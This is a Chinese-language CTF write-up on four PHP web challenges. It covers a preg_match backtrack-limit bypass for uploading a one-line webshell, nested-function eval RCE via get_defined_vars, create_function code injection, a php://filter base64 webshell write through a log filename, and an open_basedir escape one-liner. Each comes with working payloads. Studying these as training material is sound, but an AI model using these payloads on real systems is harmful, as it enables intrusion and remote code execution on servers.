借用了yulige搭建的四道题目的环境,里面有些题目是之前有所涉及的,温故而知新,将每道题目涉及到的知识点做个整理
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
题目开始是一个正则匹配的函数is_php
,其内容为/<\?.*[(`;?>].*/is
。简单地说就是参数data
如果存在的同时存在
(`;?>
中的任意字符则会返回true否则返回false。
if (is_php($data)) {
echo "bad request";
}
如果正则匹配返回true则会输出bad requst
,也就是说data
当中不得同时存在和
(`;?>
中的任意字符,我们都知道常规的一句话木马的内容为,即使是一些特殊的木马也需要至少调用到
(
,因此我们想要绕过内容的限制是很困难的,这里用到的技巧来自preg_match
的最大回溯次数限制,这一点记得在之前的ichunqiu的一次圣诞赛当中有涉及到。具体的原理如下:
preg_match
函数进行正则匹配的过程用一个例子和正则匹配调试器来说明
首先<\?
完成了对的匹配
随后的.*
完成了对剩余所有内容的匹配
接下来就是回溯的过程了,函数会从字符串的末尾开始向前寻找(`;?>
符合这个元组内容的字符,每次回溯向前移动一个字符
此时回溯完成,;
完成了元组中内容的匹配
.*
一直匹配到语句结束,正则匹配完成。
问题就出现在回溯的过程当中,我的十几个a可以轻易的完成回溯,但如果无用的字符数量太多,回溯的次数也会随之增多,为了防止黑客利用这种漏洞完成拒绝服务攻击,最大回溯次数限制应运而生。就是说如果我们的回溯次数一旦超过100w,preg_match
就会自动返回false
,也就绕过了is_php
函数对我们传入内容的限制,就算我们传入的内容当中存在有非法的内容,只要回溯的次数足够大,函数便会返回false
从而完成绕过。
接下来就是如何完成文件上传了,之前一直是使用bp或者python完成文件上传的模拟,在一位师傅的blog当中看到了还可以使用curl完成步骤更为简单的文件上传,其步骤为新建一个python文件内容为
a = '+"a"*1000000
print(a)
执行python php.py > test.php
后我们的一句话木马便写入了test.php
中,随后我们执行curl -F "[email protected]" http://139.199.203.253:8088/ -v
即可完成文件上传,之所以使用参数-v
是因为我们需要查看返回包的location
得到上传后的文件名。
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
[^\W]+\((?R)?\)
,该正则表达式限制了我们调用的函数形式只能为a(b(c()));
类似的循环嵌套但不能带有参数,这道题目今年上半年在sky的blog当中有看到过三种方法,其中我认为最巧妙的就是通过传递参数进行RCE。
该方法的核心在于函数get_defined_vars()
可以返回一个包含所有变量列表的多维数组,也就是说我们以GET方式传入的任意变量都会出现在该数组当中
可以看到该二维数组包含了GET
,POST
,COOKIE
和FILE
当中包含的数据,我们任意定义的变量a也在其中,如果我们能想到办法取出该变量也就可以让该变量a被eval
所调用,实现任意命令执行。
这里我们用到了一系列提取位置的函数current()
可以提取第一个位置,end()
可以提取最后一个位置。
先提取二维数组的第一行code=var_dump(current(get_defined_vars()));&a=gappp
接下来提取这一行的最后一个参数,也就是我们传入的变量a,code=var_dump(end(current(get_defined_vars())));&a=gappp
我们将var_dump
替换为eval
即可完成rce
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
这道题目在今年的掘安杯当中做过的类似的,不过在最后的命令执行当中可控的是变量部分而不是方法代码部分,大致思路是相同的,只是在最后的构造部分当中有小小的偏差
首先是我们要以GET方式传入两个变量,名称分别为action
和arg
。其中对于action变量进行了严格的正则匹配preg_match('/^[a-z0-9_]*$/isD', $action)
,要求我们的action的内容不得全部是大写字母,小写字母,数字和下划线。(preg_match()函数的返回值为0或1,若匹配到则返回1,若匹配不到则返回0,此时限定了字符串的开头和结尾,因此字符串中的所有字符均为大小写字母或下划线时正则匹配就会返回1)
否则就会执行show_source(__FILE__);
,也就要求了我们需要找到一个包含特殊字符的php函数,这显然是不可能的。此时我们需要了解什么是全局空间。
在名称前加上/
表名该名称时全局空间的名称,利用这一点可以对正则匹配进行绕过,测试一下
函数可以顺利完成调用,这里我们用到的rce方法是借助create_funcion
函数实现任意命令执行。
string create_function(string $args,string $code)
string $args 变量部分
string $code 方法代码部分
其执行的作用类似于eval,结构为
function FT($args){
$code;
}
此时我们尝试的payload为
?action=\create_function&arg=}print_r(scandir(dirname(_FILE_)));//
我们实现的函数调用为
function FT(){
}print_r(scandir(dirname(_FILE_)));//之后的内容被注释掉了
即完成了任意命令执行,通过传入参数实现rce
?action=\create_function&arg=}eval($_GET['gappp']);%2f%2f&gappp=phpinfo();
将php部分代码截取下来
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
?>
实现任意命令执行的关键在于
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
变量domain
是我们传入的,作为dig调用的参数,最后也会写入文件当中,问题在于函数htmlspecialchars
会将我们的尖括号转义导致一句话木马写入失败。
这里用到的是别的师傅总结出来的一个规律,只要是能传filename的地方都可以传协议流。
也就是说我们可以传输base64编码的一句话木马后将文件名定义为php://filter/write=convert.base64-decode/resource=shell.php
,利用协议流解码base64加密的一句话木马并写入shell.php当中。
接下来还有两个需要解决的点,首先是文件后缀名的限制,我们利用常见的/.
即可完成绕过,接下来就是文件名的生成机制$log_name = $_SERVER['SERVER_NAME'] . $log_name;
,我们只需要使用bp修改host即可完成对文件名的控制。
最后一点需要注意的是我们生成的base64编码的一句话木马可能是等号结尾的,而等号只会出现在编码的末尾,比如我将进行编码,结果为
PD9waHAgQGV2YWwoJF9HRVRbJ2NtZDEyMyddKTsgPz4=
此时出现在末尾的=是不符合规则的,我们需要注意的点是base64每四位一解,只要能保证一句话木马的部分完整,后面多出的内容其实并不重要,我将编码末尾的=
替换为w
后解码的结果为0
。
既不以=
结尾,又不破坏一句话木马的内容从而可以顺利的写入
成功getshell
每一道题目都限制了open_basedir
我们可以利用该exp进行绕过
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));